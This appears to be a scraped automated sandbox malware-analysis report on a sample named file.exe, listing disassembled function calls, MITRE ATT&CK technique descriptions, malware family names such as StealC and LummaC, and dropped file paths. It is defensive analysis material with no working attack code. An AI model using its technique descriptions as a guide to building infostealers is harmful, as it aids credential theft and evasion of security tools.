Part of subcall function 6D020BE0: TlsGetValue.KERNEL32(6D018D2D,?,00000000,?), ref: 6D020C15

PORT_Alloc_Util.NSS3(A4686D02,?), ref: 6D01FDA2
memcpy.VCRUNTIME140(00000000,12D068C3,A4686D02,?,?), ref: 6D01FDC4
free.MOZGLUE(00000000,?,?), ref: 6D01FDD1

Memory Dump Source

Source File: 00000000.00000002.1883105385.000000006CF41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF40000, based on PE: true

Associated: 00000000.00000002.1882990499.000000006CF40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1884927474.000000006D0DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885036320.000000006D11E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885084755.000000006D11F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885145528.000000006D120000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885199103.000000006D125000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf40000_file.jbxd

Similarity

API ID: Alloc_Util$Valuefreemallocmemcpy
String ID:
API String ID: 2335489644-0
Opcode ID: a736f6fd841f41261c61881683b3861f844dc8274831f1e443c6b7d59f8b6224
Instruction ID: d1b522df1d5248eee421102a29e63128a567b93d1cd98a96ae16165f7c6fd66d
Opcode Fuzzy Hash: a736f6fd841f41261c61881683b3861f844dc8274831f1e443c6b7d59f8b6224
Instruction Fuzzy Hash: 66F0C8B6A082035BFB014BD5EC91A37BB9DEF44295B048035ED098B241E721D810C7E2

Function 6D0DCC50 Relevance: 6.0, APIs: 4, Instructions: 29COMMON

Download Yara Rule

APIs

DeleteCriticalSection.KERNEL32(?), ref: 6D0DCC61
free.MOZGLUE ref: 6D0DCC6E
DeleteCriticalSection.KERNEL32(?), ref: 6D0DCC80
free.MOZGLUE(?), ref: 6D0DCC87

Memory Dump Source

Source File: 00000000.00000002.1883105385.000000006CF41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF40000, based on PE: true

Associated: 00000000.00000002.1882990499.000000006CF40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1884927474.000000006D0DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885036320.000000006D11E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885084755.000000006D11F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885145528.000000006D120000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885199103.000000006D125000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf40000_file.jbxd

Similarity

API ID: CriticalDeleteSectionfree
String ID:
API String ID: 2988086103-0
Opcode ID: 9d5555f117eb6eaaaffa3f7df42dfe57e08e6c09b8aaf39671ce4b9395aec04b
Instruction ID: 9ff129f050dda6807ed8d48decbe4e209d2a8714b3de80b0ef98659a5f6ca2ec
Opcode Fuzzy Hash: 9d5555f117eb6eaaaffa3f7df42dfe57e08e6c09b8aaf39671ce4b9395aec04b
Instruction Fuzzy Hash: 76E065766006089FCA10DFA8EC45C87B7BCEE492703150535E691C3700D331F915CBE1

Function 6CFB9DC0 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 220COMMON

Download Yara Rule

APIs

sqlite3_value_text.NSS3 ref: 6CFB9E1F

Part of subcall function 6CF713C0: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,6CF42352,?,00000000,?,?), ref: 6CF71413
Part of subcall function 6CF713C0: memcpy.VCRUNTIME140(00000000,6CF42352,00000002,?,?,?,?,6CF42352,?,00000000,?,?), ref: 6CF714C0

Strings

LIKE or GLOB pattern too complex, xrefs: 6CFBA006
ESCAPE expression must be a single character, xrefs: 6CFB9F78

Memory Dump Source

Source File: 00000000.00000002.1883105385.000000006CF41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF40000, based on PE: true

Associated: 00000000.00000002.1882990499.000000006CF40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1884927474.000000006D0DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885036320.000000006D11E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885084755.000000006D11F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885145528.000000006D120000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885199103.000000006D125000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf40000_file.jbxd

Similarity

API ID: memcpysqlite3_value_textstrlen
String ID: ESCAPE expression must be a single character$LIKE or GLOB pattern too complex
API String ID: 2453365862-264706735
Opcode ID: e892f8b7c714463e57386907ade914e23cad8ee1e836ac2cb65e900cb457fba9
Instruction ID: 604d00edb3da79b438c3987492715c4a8ce8e0d003fab05c0b35b0c1511e45f7
Opcode Fuzzy Hash: e892f8b7c714463e57386907ade914e23cad8ee1e836ac2cb65e900cb457fba9
Instruction Fuzzy Hash: FB812D71A042514BD700CF3BC4903EAB7F2AF55328F28C659D8A8ABBC5DB35DA46C791

Function 6D014D10 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 106COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE001,00000000), ref: 6D014D57
PR_snprintf.NSS3(?,00000008,%d.%d,?,?), ref: 6D014DE6

Strings

%d.%d, xrefs: 6D014DDE

Memory Dump Source

Source File: 00000000.00000002.1883105385.000000006CF41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF40000, based on PE: true

Associated: 00000000.00000002.1882990499.000000006CF40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1884927474.000000006D0DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885036320.000000006D11E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885084755.000000006D11F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885145528.000000006D120000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885199103.000000006D125000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf40000_file.jbxd

Similarity

API ID: ErrorR_snprintf
String ID: %d.%d
API String ID: 2298970422-3954714993
Opcode ID: 1be83940723ed2fe0e58a6f0353f487ee6e44c03bb41b9f061fc66fcc239d7d2
Instruction ID: 2009fb13734e0569a080f05da72709e116eee9cd5bf9a623065ffd40fbbe8bdb
Opcode Fuzzy Hash: 1be83940723ed2fe0e58a6f0353f487ee6e44c03bb41b9f061fc66fcc239d7d2
Instruction Fuzzy Hash: 7B31E8B1D082197BFF109BE1AC05BBF7768EF44308F050429ED559B291EB70DA05CBA2

Function 6D05AF70 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 41COMMON

Download Yara Rule

APIs

PR_GetUniqueIdentity.NSS3(SSL), ref: 6D05AF78

Part of subcall function 6CFBACC0: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CFBACE2
Part of subcall function 6CFBACC0: malloc.MOZGLUE(00000001), ref: 6CFBACEC
Part of subcall function 6CFBACC0: strcpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6CFBAD02
Part of subcall function 6CFBACC0: TlsGetValue.KERNEL32 ref: 6CFBAD3C
Part of subcall function 6CFBACC0: calloc.MOZGLUE(00000001,?), ref: 6CFBAD8C
Part of subcall function 6CFBACC0: PR_Unlock.NSS3 ref: 6CFBADC0
Part of subcall function 6CFBACC0: PR_Unlock.NSS3 ref: 6CFBAE8C
Part of subcall function 6CFBACC0: free.MOZGLUE(?), ref: 6CFBAEAB

memcpy.VCRUNTIME140(6D123084,6D1202AC,00000090), ref: 6D05AF94

Strings

SSL, xrefs: 6D05AF73

Memory Dump Source

Source File: 00000000.00000002.1883105385.000000006CF41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF40000, based on PE: true

Associated: 00000000.00000002.1882990499.000000006CF40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1884927474.000000006D0DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885036320.000000006D11E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885084755.000000006D11F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885145528.000000006D120000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885199103.000000006D125000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf40000_file.jbxd

Similarity

API ID: Unlock$IdentityUniqueValuecallocfreemallocmemcpystrcpystrlen
String ID: SSL
API String ID: 2424436289-2135378647
Opcode ID: ffad2dc7bbf802171a62ed2e453714b353404737c9ad6b00480af3c3748c6847
Instruction ID: 92f8a04a9df8e9223f5fa096a64d8044c647ad5a9ca0a02a5db1b273c9b3d983
Opcode Fuzzy Hash: ffad2dc7bbf802171a62ed2e453714b353404737c9ad6b00480af3c3748c6847
Instruction Fuzzy Hash: 0F211EB4105248BAEA50CF91B64F726BBB1B302608B50510DDA095A305D7B350E6DFFF

Function 6D020DB0 Relevance: 5.1, APIs: 4, Instructions: 97COMMON

Download Yara Rule

APIs

calloc.MOZGLUE ref: 6D020DF5
TlsGetValue.KERNEL32 ref: 6D020E2D
TlsGetValue.KERNEL32 ref: 6D020E58
TlsGetValue.KERNEL32 ref: 6D020E84

Memory Dump Source

Source File: 00000000.00000002.1883105385.000000006CF41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF40000, based on PE: true

Associated: 00000000.00000002.1882990499.000000006CF40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1884927474.000000006D0DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885036320.000000006D11E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885084755.000000006D11F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885145528.000000006D120000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885199103.000000006D125000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf40000_file.jbxd

Similarity

API ID: Value$calloc
String ID:
API String ID: 3339632435-0
Opcode ID: fe863f50f93c8f5bc2c9e9205f7ae69dbbca596bdba86f23c0725413746776a3
Instruction ID: 3c8ec4de12b82fe59e2d8307145298ce9baee82076fa16d9b057d898928a7275
Opcode Fuzzy Hash: fe863f50f93c8f5bc2c9e9205f7ae69dbbca596bdba86f23c0725413746776a3
Instruction Fuzzy Hash: 9331E3B05193458BFF109F3AD9953ADBBB5BF053A8F418629D89887210EBB184C4CB81

Function 6D020F10 Relevance: 5.1, APIs: 4, Instructions: 52stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000,?,?,6CFC2AF5,?,?,?,?,?,6CFC0A1B,00000000), ref: 6D020F1A
malloc.MOZGLUE(00000001), ref: 6D020F30
memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6D020F42
TlsGetValue.KERNEL32 ref: 6D020F5B

Memory Dump Source

Source File: 00000000.00000002.1883105385.000000006CF41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF40000, based on PE: true

Associated: 00000000.00000002.1882990499.000000006CF40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1884927474.000000006D0DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885036320.000000006D11E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885084755.000000006D11F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885145528.000000006D120000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885199103.000000006D125000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf40000_file.jbxd

Similarity

API ID: Valuemallocmemcpystrlen
String ID:
API String ID: 2332725481-0
Opcode ID: 092e778b2c3fb4e2b25f68c728ff74726243af37b24648ab437991b3be59e776
Instruction ID: ab7f61ba486c0c3c85f475d22d2cd346f36fa710fb28754d7d655ba5d6b689bd
Opcode Fuzzy Hash: 092e778b2c3fb4e2b25f68c728ff74726243af37b24648ab437991b3be59e776
Instruction Fuzzy Hash: C20128B1D593405BF790173BAC94767BAACEF42254F014132ED18C3621E771C844C6E2

Function 6CFD1EB0 Relevance: 5.0, APIs: 4, Instructions: 38COMMON

Download Yara Rule

APIs

free.MOZGLUE(?), ref: 6CFD1ECE
free.MOZGLUE(?), ref: 6CFD1EDF
free.MOZGLUE(?), ref: 6CFD1EEF
free.MOZGLUE(?), ref: 6CFD1EF5

Memory Dump Source

Source File: 00000000.00000002.1883105385.000000006CF41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF40000, based on PE: true

Associated: 00000000.00000002.1882990499.000000006CF40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1884927474.000000006D0DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885036320.000000006D11E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885084755.000000006D11F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885145528.000000006D120000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885199103.000000006D125000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf40000_file.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 6d7634922bcd27769d4e285173a9fde11528bc986eb0163a9ae07febe85a50d5
Instruction ID: 5592edb877f9c6401608a4657a7138d53827bd6a64b9f69a688a36796ae7fe6f
Opcode Fuzzy Hash: 6d7634922bcd27769d4e285173a9fde11528bc986eb0163a9ae07febe85a50d5
Instruction Fuzzy Hash: 16F0E9B57401066BEB00DB65FC45EA7B36CEF45164B094434EC1DC3A00F725F414C7A2

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Process: OS API Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: LummaC

Threatname: Amadey

Threatname: Cryptbot

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\AKFHDBFI

C:\ProgramData\BFBGHDGCFHIDBGDGIIIE

C:\ProgramData\ECGIIIDAKJDHJKFHIEBF

C:\ProgramData\FCBFBGDBKJKECAAKKFHD

C:\ProgramData\GIJECGDG

C:\ProgramData\KEHDBAEGIIIEBGCAAFHIDHDBFB

Windows Analysis Report
file.exe

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may use legitimate desktop support and remote access software to establish an interactive command and control channel to target systems within networks. These services, such as `VNC`, `Team Viewer`, `AnyDesk`, `ScreenConnect`, `LogMein`, `AmmyyAdmin`, and other remote monitoring and management (RMM) tools, are commonly used as legitimate technical support software and may be allowed by application control within a target environment.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre